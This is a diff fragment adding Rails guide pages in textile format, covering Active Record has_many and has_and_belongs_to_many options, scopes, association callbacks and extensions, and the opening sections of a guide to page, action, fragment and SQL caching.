+  has_many :orders, :class_name => "Transaction"
+end
+</ruby>
+
+h6(#has_many-dependent). +:dependent+
+
+Controls what happens to the associated objects when their owner is destroyed:
+
+* +:destroy+ causes all the associated objects to also be destroyed
+* +:delete_all+ causes all the asssociated objects to be deleted directly from the database (so callbacks will not execute)
+* +:nullify+ causes the foreign keys to be set to +NULL+. Callbacks are not executed.
+* +:restrict_with_exception+ causes an exception to be raised if there are any associated records
+* +:restrict_with_error+ causes an error to be added to the owner if there are any associated objects
+
+NOTE: This option is ignored when you use the +:through+ option on the association.
+
+h6(#has_many-foreign_key). +:foreign_key+
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, :foreign_key => "cust_id"
+end
+</ruby>
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+h6(#has_many-inverse_of). +:inverse_of+
+
+The +:inverse_of+ option specifies the name of the +belongs_to+ association that is the inverse of this association. Does not work in combination with the +:through+ or +:as+ options.
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, :inverse_of => :customer
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer, :inverse_of => :orders
+end
+</ruby>
+
+h6(#has_many-primary_key). +:primary_key+
+
+By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
+
+h6(#has_many-source). +:source+
+
+The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
+
+h6(#has_many-source_type). +:source_type+
+
+The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
+
+h6(#has_many-through). +:through+
+
+The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has_many-through-association">earlier in this guide</a>.
+
+h6(#has_many-validate). +:validate+
+
+If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
+
+h5(#has_many-scopes_for_has_many). Scopes for +has_many+
+
+There may be times when you wish to customize the query used by +has_many+. Such customizations can be achieved via a scope block. For example:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { where :processed => true }
+end
+</ruby>
+
+You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
+
+* +where+
+* +extending+
+* +group+
+* +includes+
+* +limit+
+* +offset+
+* +order+
+* +readonly+
+* +select+
+* +uniq+
+
+h6(#has_many-where). +where+
+
+The +where+ method lets you specify the conditions that the associated object must meet.
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, -> { where "confirmed = 1" },
+    :class_name => "Order"
+end
+</ruby>
+
+You can also set conditions via a hash:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :confirmed_orders, -> { where :confirmed => true },
+    :class_name => "Order"
+end
+</ruby>
+
+If you use a hash-style +where+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
+
+h6(#has_many-extending). +extending+
+
+The +extending+ method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+h6(#has_many-group). +group+
+
+The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :line_items, -> { group 'orders.id' },
+    :through => :orders
+end
+</ruby>
+
+h6(#has_many-includes). +includes+
+
+You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+</ruby>
+
+If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { includes :line_items }
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :customer
+  has_many :line_items
+end
+
+class LineItem < ActiveRecord::Base
+  belongs_to :order
+end
+</ruby>
+
+h6(#has_many-limit). +limit+
+
+The +limit+ method lets you restrict the total number of objects that will be fetched through an association.
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :recent_orders,
+    -> { order('order_date desc').limit(100) },
+    :class_name => "Order",
+end
+</ruby>
+
+h6(#has_many-offset). +offset+
+
+The +offset+ method lets you specify the starting offset for fetching objects via an association. For example, +-> { offset(11) }+ will skip the first 11 records.
+
+h6(#has_many-order). +order+
+
+The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { order "date_confirmed DESC" }
+end
+</ruby>
+
+h6(#has_many-readonly). +readonly+
+
+If you use the +readonly+ method, then the associated objects will be read-only when retrieved via the association.
+
+h6(#has_many-select). +select+
+
+The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+WARNING: If you specify your own +select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
+
+h6(#has_many-uniq). +uniq+
+
+Use the +uniq+ method to keep the collection free of duplicates. This is mostly useful together with the +:through+ option.
+
+<ruby>
+class Person < ActiveRecord::Base
+  has_many :readings
+  has_many :posts, :through => :readings
+end
+
+person = Person.create(:name => 'john')
+post   = Post.create(:name => 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
+</ruby>
+
+In the above case there are two readings and +person.posts+ brings out both of them even though these records are pointing to the same post.
+
+Now let's set +uniq+:
+
+<ruby>
+class Person
+  has_many :readings
+  has_many :posts, -> { uniq }, :through => :readings
+end
+
+person = Person.create(:name => 'honda')
+post   = Post.create(:name => 'a1')
+person.posts << post
+person.posts << post
+person.posts.inspect # => [#<Post id: 7, name: "a1">]
+Reading.all.inspect  # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
+</ruby>
+
+In the above case there are still two readings. However +person.posts+ shows only one post because the collection loads only unique records.
+
+h5(#has_many-when_are_objects_saved). When are Objects Saved?
+
+When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
+
+If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
+
+h4. +has_and_belongs_to_many+ Association Reference
+
+The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
+
+h5. Methods Added by +has_and_belongs_to_many+
+
+When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
+
+* <tt><em>collection</em>(force_reload = false)</tt>
+* <tt><em>collection</em><<(object, ...)</tt>
+* <tt><em>collection</em>.delete(object, ...)</tt>
+* <tt><em>collection</em>=objects</tt>
+* <tt><em>collection_singular</em>_ids</tt>
+* <tt><em>collection_singular</em>_ids=ids</tt>
+* <tt><em>collection</em>.clear</tt>
+* <tt><em>collection</em>.empty?</tt>
+* <tt><em>collection</em>.size</tt>
+* <tt><em>collection</em>.find(...)</tt>
+* <tt><em>collection</em>.where(...)</tt>
+* <tt><em>collection</em>.exists?(...)</tt>
+* <tt><em>collection</em>.build(attributes = {})</tt>
+* <tt><em>collection</em>.create(attributes = {})</tt>
+
+In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol. For example, given the declaration:
+
+<ruby>
+class Part < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies
+end
+</ruby>
+
+Each instance of the part model will have these methods:
+
+<ruby>
+assemblies(force_reload = false)
+assemblies<<(object, ...)
+assemblies.delete(object, ...)
+assemblies=objects
+assembly_ids
+assembly_ids=ids
+assemblies.clear
+assemblies.empty?
+assemblies.size
+assemblies.find(...)
+assemblies.where(...)
+assemblies.exists?(...)
+assemblies.build(attributes = {}, ...)
+assemblies.create(attributes = {})
+</ruby>
+
+h6. Additional Column Methods
+
+If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
+
+WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
+
+
+h6(#has_and_belongs_to_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
+
+The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
+
+<ruby>
+@assemblies = @part.assemblies
+</ruby>
+
+h6(#has_and_belongs_to_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
+
+The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.
+
+<ruby>
+@part.assemblies << @assembly1
+</ruby>
+
+NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.
+
+h6(#has_and_belongs_to_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
+
+The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
+
+<ruby>
+@part.assemblies.delete(@assembly1)
+</ruby>
+
+h6(#has_and_belongs_to_many-collection-equal). <tt><em>collection</em>=objects</tt>
+
+The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
+
+h6(#has_and_belongs_to_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
+
+The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
+
+<ruby>
+@assembly_ids = @part.assembly_ids
+</ruby>
+
+h6(#has_and_belongs_to_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
+
+The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
+
+h6(#has_and_belongs_to_many-collection-clear). <tt><em>collection</em>.clear</tt>
+
+The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
+
+h6(#has_and_belongs_to_many-collection-empty). <tt><em>collection</em>.empty?</tt>
+
+The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
+
+<ruby>
+<% if @part.assemblies.empty? %>
+  This part is not used in any assemblies
+<% end %>
+</ruby>
+
+h6(#has_and_belongs_to_many-collection-size). <tt><em>collection</em>.size</tt>
+
+The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
+
+<ruby>
+@assembly_count = @part.assemblies.size
+</ruby>
+
+h6(#has_and_belongs_to_many-collection-find). <tt><em>collection</em>.find(...)</tt>
+
+The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+. It also adds the additional condition that the object must be in the collection.
+
+<ruby>
+@assembly = @part.assemblies.find(1)
+</ruby>
+
+h6(#has_and_belongs_to_many-collection-where). <tt><em>collection</em>.where(...)</tt>
+
+The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed. It also adds the additional condition that the object must be in the collection.
+
+<ruby>
+@new_assemblies = @part.assemblies.where("created_at > ?", 2.days.ago)
+</ruby>
+
+h6(#has_and_belongs_to_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
+
+The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
+
+h6(#has_and_belongs_to_many-collection-build). <tt><em>collection</em>.build(attributes = {})</tt>
+
+The <tt><em>collection</em>.build</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through the join table will be created, but the associated object will _not_ yet be saved.
+
+<ruby>
+@assembly = @part.assemblies.build(
+  {:assembly_name => "Transmission housing"})
+</ruby>
+
+h6(#has_and_belongs_to_many-create-attributes). <tt><em>collection</em>.create(attributes = {})</tt>
+
+The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through the join table will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+<ruby>
+@assembly = @part.assemblies.create(
+  {:assembly_name => "Transmission housing"})
+</ruby>
+
+h5. Options for +has_and_belongs_to_many+
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_and_belongs_to_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
+
+<ruby>
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :uniq => true,
+    :read_only => true
+end
+</ruby>
+
+The +has_and_belongs_to_many+ association supports these options:
+
+* +:association_foreign_key+
+* +:autosave+
+* +:class_name+
+* +:foreign_key+
+* +:join_table+
+* +:validate+
+
+h6(#has_and_belongs_to_many-association_foreign_key). +:association_foreign_key+
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to the other model is the name of that model with the suffix +_id+ added. The +:association_foreign_key+ option lets you set the name of the foreign key directly:
+
+TIP: The +:foreign_key+ and +:association_foreign_key+ options are useful when setting up a many-to-many self-join. For example:
+
+<ruby>
+class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends, :class_name => "User",
+    :foreign_key => "this_user_id",
+    :association_foreign_key => "other_user_id"
+end
+</ruby>
+
+h6(#has_and_belongs_to_many-autosave). +:autosave+
+
+If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+h6(#has_and_belongs_to_many-class_name). +:class_name+
+
+If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a part has many assemblies, but the actual name of the model containing assemblies is +Gadget+, you'd set things up this way:
+
+<ruby>
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, :class_name => "Gadget"
+end
+</ruby>
+
+h6(#has_and_belongs_to_many-foreign_key). +:foreign_key+
+
+By convention, Rails assumes that the column in the join table used to hold the foreign key pointing to this model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
+
+<ruby>
+class User < ActiveRecord::Base
+  has_and_belongs_to_many :friends, :class_name => "User",
+    :foreign_key => "this_user_id",
+    :association_foreign_key => "other_user_id"
+end
+</ruby>
+
+h6(#has_and_belongs_to_many-join_table). +:join_table+
+
+If the default name of the join table, based on lexical ordering, is not what you want, you can use the +:join_table+ option to override the default.
+
+h6(#has_and_belongs_to_many-validate). +:validate+
+
+If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
+
+h5(#has_and_belongs_to_many-scopes_for_has_and_belongs_to_many). Scopes for +has_and_belongs_to_many+
+
+There may be times when you wish to customize the query used by +has_and_belongs_to_many+. Such customizations can be achieved via a scope block. For example:
+
+<ruby>
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, -> { where :active => true }
+end
+</ruby>
+
+You can use any of the standard "querying methods":active_record_querying.html inside the scope block. The following ones are discussed below:
+
+* +where+
+* +extending+
+* +group+
+* +includes+
+* +limit+
+* +offset+
+* +order+
+* +readonly+
+* +select+
+* +uniq+
+
+h6(#has_and_belongs_to_many-where). +where+
+
+The +where+ method lets you specify the conditions that the associated object must meet.
+
+<ruby>
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { where "factory = 'Seattle'" }
+end
+</ruby>
+
+You can also set conditions via a hash:
+
+<ruby>
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { where :factory => 'Seattle' }
+end
+</ruby>
+
+If you use a hash-style +where+, then record creation via this association will be automatically scoped using the hash. In this case, using +@parts.assemblies.create+ or +@parts.assemblies.build+ will create orders where the +factory+ column has the value "Seattle".
+
+h6(#has_and_belongs_to_many-extending). +extending+
+
+The +extending+ method specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
+
+h6(#has_and_belongs_to_many-group). +group+
+
+The +group+ method supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
+
+<ruby>
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies, -> { group "factory" }
+end
+</ruby>
+
+h6(#has_and_belongs_to_many-includes). +includes+
+
+You can use the +includes+ method to specify second-order associations that should be eager-loaded when this association is used.
+
+h6(#has_and_belongs_to_many-limit). +limit+
+
+The +limit+ method lets you restrict the total number of objects that will be fetched through an association.
+
+<ruby>
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { order("created_at DESC").limit(50) }
+end
+</ruby>
+
+h6(#has_and_belongs_to_many-offset). +offset+
+
+The +offset+ method lets you specify the starting offset for fetching objects via an association. For example, if you set +offset(11)+, it will skip the first 11 records.
+
+h6(#has_and_belongs_to_many-order). +order+
+
+The +order+ method dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
+
+<ruby>
+class Parts < ActiveRecord::Base
+  has_and_belongs_to_many :assemblies,
+    -> { order "assembly_name ASC" }
+end
+</ruby>
+
+h6(#has_and_belongs_to_many-readonly). +readonly+
+
+If you use the +readonly+ method, then the associated objects will be read-only when retrieved via the association.
+
+h6(#has_and_belongs_to_many-select). +select+
+
+The +select+ method lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
+
+h6(#has_and_belongs_to_many-uniq). +uniq+
+
+Use the +uniq+ method to remove duplicates from the collection.
+
+h5(#has_and_belongs_to_many-when_are_objects_saved). When are Objects Saved?
+
+When you assign an object to a +has_and_belongs_to_many+ association, that object is automatically saved (in order to update the join table). If you assign multiple objects in one statement, then they are all saved.
+
+If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
+
+If the parent object (the one declaring the +has_and_belongs_to_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
+
+If you want to assign an object to a +has_and_belongs_to_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
+
+h4. Association Callbacks
+
+Normal callbacks hook into the life cycle of Active Record objects, allowing you to work with those objects at various points. For example, you can use a +:before_save+ callback to cause something to happen just before an object is saved.
+
+Association callbacks are similar to normal callbacks, but they are triggered by events in the life cycle of a collection. There are four available association callbacks:
+
+* +before_add+
+* +after_add+
+* +before_remove+
+* +after_remove+
+
+You define association callbacks by adding options to the association declaration. For example:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders, :before_add => :check_credit_limit
+
+  def check_credit_limit(order)
+    ...
+  end
+end
+</ruby>
+
+Rails passes the object being added or removed to the callback.
+
+You can stack callbacks on a single event by passing them as an array:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders,
+    :before_add => [:check_credit_limit, :calculate_shipping_charges]
+
+  def check_credit_limit(order)
+    ...
+  end
+
+  def calculate_shipping_charges(order)
+    ...
+  end
+end
+</ruby>
+
+If a +before_add+ callback throws an exception, the object does not get added to the collection. Similarly, if a +before_remove+ callback throws an exception, the object does not get removed from the collection.
+
+h4. Association Extensions
+
+You're not limited to the functionality that Rails automatically builds into association proxy objects. You can also extend these objects through anonymous modules, adding new finders, creators, or other methods. For example:
+
+<ruby>
+class Customer < ActiveRecord::Base
+  has_many :orders do
+    def find_by_order_prefix(order_number)
+      find_by_region_id(order_number[0..2])
+    end
+  end
+end
+</ruby>
+
+If you have an extension that should be shared by many associations, you can use a named extension module. For example:
+
+<ruby>
+module FindRecentExtension
+  def find_recent
+    where("created_at > ?", 5.days.ago)
+  end
+end
+
+class Customer < ActiveRecord::Base
+  has_many :orders, -> { extending FindRecentExtension }
+end
+
+class Supplier < ActiveRecord::Base
+  has_many :deliveries, -> { extending FindRecentExtension }
+end
+</ruby>
+
+Extensions can refer to the internals of the association proxy using these three attributes of the +proxy_association+ accessor:
+
+* +proxy_association.owner+ returns the object that the association is a part of.
+* +proxy_association.reflection+ returns the reflection object that describes the association.
+* +proxy_association.target+ returns the associated object for +belongs_to+ or +has_one+, or the collection of associated objects for +has_many+ or +has_and_belongs_to_many+.
diff --git a/guides/source/caching_with_rails.textile b/guides/source/caching_with_rails.textile
new file mode 100644
index 0000000000..815b2ef9c2
--- /dev/null
+++ b/guides/source/caching_with_rails.textile
@@ -0,0 +1,473 @@
+h2. Caching with Rails: An overview
+
+This guide will teach you what you need to know about avoiding that expensive round-trip to your database and returning what you need to return to the web clients in the shortest time possible.
+
+After reading this guide, you should be able to use and configure:
+
+* Page, action, and fragment caching
+* Sweepers
+* Alternative cache stores
+* Conditional GET support
+
+endprologue.
+
+h3. Basic Caching
+
+This is an introduction to the three types of caching techniques that Rails provides by default without the use of any third party plugins.
+
+To start playing with caching you'll want to ensure that +config.action_controller.perform_caching+ is set to +true+, if you're running in development mode. This flag is normally set in the corresponding +config/environments/*.rb+ and caching is disabled by default for development and test, and enabled for production.
+
+<ruby>
+config.action_controller.perform_caching = true
+</ruby>
+
+h4. Page Caching
+
+Page caching is a Rails mechanism which allows the request for a generated page to be fulfilled by the webserver (i.e. Apache or nginx), without ever having to go through the Rails stack at all. Obviously, this is super-fast. Unfortunately, it can't be applied to every situation (such as pages that need authentication) and since the webserver is literally just serving a file from the filesystem, cache expiration is an issue that needs to be dealt with.
+
+To enable page caching, you need to use the +caches_page+ method.
+
+<ruby>
+class ProductsController < ActionController
+
+  caches_page :index
+
+  def index
+    @products = Product.all
+  end
+end
+</ruby>
+
+Let's say you have a controller called +ProductsController+ and an +index+ action that lists all the products. The first time anyone requests +/products+, Rails will generate a file called +products.html+ and the webserver will then look for that file before it passes the next request for +/products+ to your Rails application.
+
+By default, the page cache directory is set to +Rails.public_path+ (which is usually set to the +public+ folder) and this can be configured by changing the configuration setting +config.action_controller.page_cache_directory+. Changing the default from +public+ helps avoid naming conflicts, since you may want to put other static html in +public+, but changing this will require web server reconfiguration to let the web server know where to serve the cached files from.
+
+The Page Caching mechanism will automatically add a +.html+ extension to requests for pages that do not have an extension to make it easy for the webserver to find those pages and this can be configured by changing the configuration setting +config.action_controller.page_cache_extension+.
+
+In order to expire this page when a new product is added we could extend our example controller like this:
+
+<ruby>
+class ProductsController < ActionController
+
+  caches_page :index
+
+  def index
+    @products = Product.all
+  end
+
+  def create
+    expire_page :action => :index
+  end
+
+end
+</ruby>
+
+If you want a more complicated expiration scheme, you can use cache sweepers to expire cached objects when things change. This is covered in the section on Sweepers.
+
+By default, page caching automatically gzips files (for example, to +products.html.gz+ if user requests +/products+) to reduce the size of data transmitted (web servers are typically configured to use a moderate compression ratio as a compromise, but since precompilation happens once, compression ratio is maximum).
+
+Nginx is able to serve compressed content directly from disk by enabling +gzip_static+:
+
+<plain>
+location /  {
+  gzip_static on; # to serve pre-gzipped version
+}
+</plain>
+
+You can disable gzipping by setting +:gzip+ option to false (for example, if action returns image):
+
+<ruby>
+caches_page :image, :gzip => false
+</ruby>
+
+Or, you can set custom gzip compression level (level names are taken from +Zlib+ constants):
+
+<ruby>
+caches_page :image, :gzip => :best_speed
+</ruby>
+
+NOTE: Page caching ignores all parameters. For example +/products?page=1+ will be written out to the filesystem as +products.html+ with no reference to the +page+ parameter. Thus, if someone requests +/products?page=2+ later, they will get the cached first page. A workaround for this limitation is to include the parameters in the page's path, e.g. +/productions/page/1+.
+
+INFO: Page caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
+
+h4. Action Caching
+
+Page Caching cannot be used for actions that have before filters - for example, pages that require authentication. This is where Action Caching comes in. Action Caching works like Page Caching except the incoming web request hits the Rails stack so that before filters can be run on it before the cache is served. This allows authentication and other restrictions to be run while still serving the result of the output from a cached copy.
+
+Clearing the cache works in a similar way to Page Caching, except you use +expire_action+ instead of +expire_page+.
+
+Let's say you only wanted authenticated users to call actions on +ProductsController+.
+
+<ruby>
+class ProductsController < ActionController
+
+  before_filter :authenticate
+  caches_action :index
+
+  def index
+    @products = Product.all
+  end
+
+  def create
+    expire_action :action => :index
+  end
+
+end
+</ruby>
+
+You can also use +:if+ (or +:unless+) to pass a Proc that specifies when the action should be cached. Also, you can use +:layout => false+ to cache without layout so that dynamic information in the layout such as logged in user info or the number of items in the cart can be left uncached. This feature is available as of Rails 2.2.
+
+You can modify the default action cache path by passing a +:cache_path+ option. This will be passed directly to +ActionCachePath.path_for+. This is handy for actions with multiple possible routes that should be cached differently. If a block is given, it is called with the current controller instance.
+
+Finally, if you are using memcached or Ehcache, you can also pass +:expires_in+. In fact, all parameters not used by +caches_action+ are sent to the underlying cache store.
+
+INFO: Action caching runs in an after filter. Thus, invalid requests won't generate spurious cache entries as long as you halt them. Typically, a redirection in some before filter that checks request preconditions does the job.
+
+h4. Fragment Caching
+
+Life would be perfect if we could get away with caching the entire contents of a page or action and serving it out to the world. Unfortunately, dynamic web applications usually build pages with a variety of components not all of which have the same caching characteristics. In order to address such a dynamically created page where different parts of the page need to be cached and expired differently, Rails provides a mechanism called Fragment Caching.
+
+Fragment Caching allows a fragment of view logic to be wrapped in a cache block and served out of the cache store when the next request comes in.
+
+As an example, if you wanted to show all the orders placed on your website in real time and didn't want to cache that part of the page, but did want to cache the part of the page which lists all products available, you could use this piece of code:
+
+<ruby>
+<% Order.find_recent.each do |o| %>
+  <%= o.buyer.name %> bought <%= o.product.name %>
+<% end %>
+
+<% cache do %>
+  All available products:
+  <% Product.all.each do |p| %>
+    <%= link_to p.name, product_url(p) %>
+  <% end %>
+<% end %>
+</ruby>
+
+The cache block in our example will bind to the action that called it and is written out to the same place as the Action Cache, which means that if you want to cache multiple fragments per action, you should provide an +action_suffix+ to the cache call:
+
+<ruby>
+<% cache(:action => 'recent', :action_suffix => 'all_products') do %>
+  All available products:
+</ruby>
+
+and you can expire it using the +expire_fragment+ method, like so:
+
+<ruby>
+expire_fragment(:controller => 'products', :action => 'recent', :action_suffix => 'all_products')
+</ruby>
+
+If you don't want the cache block to bind to the action that called it, you can also use globally keyed fragments by calling the +cache+ method with a key:
+
+<ruby>
+<% cache('all_available_products') do %>
+  All available products:
+<% end %>
+</ruby>
+
+This fragment is then available to all actions in the +ProductsController+ using the key and can be expired the same way:
+
+<ruby>
+expire_fragment('all_available_products')
+</ruby>
+
+h4. Sweepers
+
+Cache sweeping is a mechanism which allows you to get around having a ton of +expire_{page,action,fragment}+ calls in your code. It does this by moving all the work required to expire cached content into an +ActionController::Caching::Sweeper+ subclass. This class is an observer and looks for changes to an object via callbacks, and when a change occurs it expires the caches associated with that object in an around or after filter.
+
+Continuing with our Product controller example, we could rewrite it with a sweeper like this:
+
+<ruby>
+class ProductSweeper < ActionController::Caching::Sweeper
+  observe Product # This sweeper is going to keep an eye on the Product model
+
+  # If our sweeper detects that a Product was created call this
+  def after_create(product)
+    expire_cache_for(product)
+  end
+
+  # If our sweeper detects that a Product was updated call this
+  def after_update(product)
+    expire_cache_for(product)
+  end
+
+  # If our sweeper detects that a Product was deleted call this
+  def after_destroy(product)
+    expire_cache_for(product)
+  end
+
+  private
+  def expire_cache_for(product)
+    # Expire the index page now that we added a new product
+    expire_page(:controller => 'products', :action => 'index')
+
+    # Expire a fragment
+    expire_fragment('all_available_products')
+  end
+end
+</ruby>
+
+You may notice that the actual product gets passed to the sweeper, so if we were caching the edit action for each product, we could add an expire method which specifies the page we want to expire:
+
+<ruby>
+expire_action(:controller => 'products', :action => 'edit', :id => product.id)
+</ruby>
+
+Then we add it to our controller to tell it to call the sweeper when certain actions are called. So, if we wanted to expire the cached content for the list and edit actions when the create action was called, we could do the following:
+
+<ruby>
+class ProductsController < ActionController
+
+  before_filter :authenticate
+  caches_action :index
+  cache_sweeper :product_sweeper
+
+  def index
+    @products = Product.all
+  end
+
+end
+</ruby>
+
+Sometimes it is necessary to disambiguate the controller when you call +expire_action+, such as when there are two identically named controllers in separate namespaces:
+
+<ruby>
+class ProductsController < ActionController
+  caches_action :index
+
+  def index
+    @products = Product.all
+  end
+end
+
+module Admin
+  class ProductsController < ActionController
+    cache_sweeper :product_sweeper
+
+    def new
+      @product = Product.new
+    end
+
+    def create
+      @product = Product.create(params[:product])
+    end
+  end
+end
+
+class ProductSweeper < ActionController::Caching::Sweeper
+  observe Product
+
+  def after_create(product)
+    expire_action(:controller => '/products', :action => 'index')
+  end
+end
+</ruby>
+
+Note the use of '/products' here rather than 'products'. If you wanted to expire an action cache for the +Admin::ProductsController+, you would use 'admin/products' instead.
+
+h4. SQL Caching
+
+Query caching is a Rails feature that caches the result set returned by each query so that if Rails encounters the same query again for that request, it will use the cached result set as opposed to running the query against the database again.
+
+For example:
+
+<ruby>
+class ProductsController < ActionController
+
+  def index
+    # Run a find query
+    @products = Product.all
+
+    ...
+
+    # Run the same query again
+    @products = Product.all
+  end
+
+end
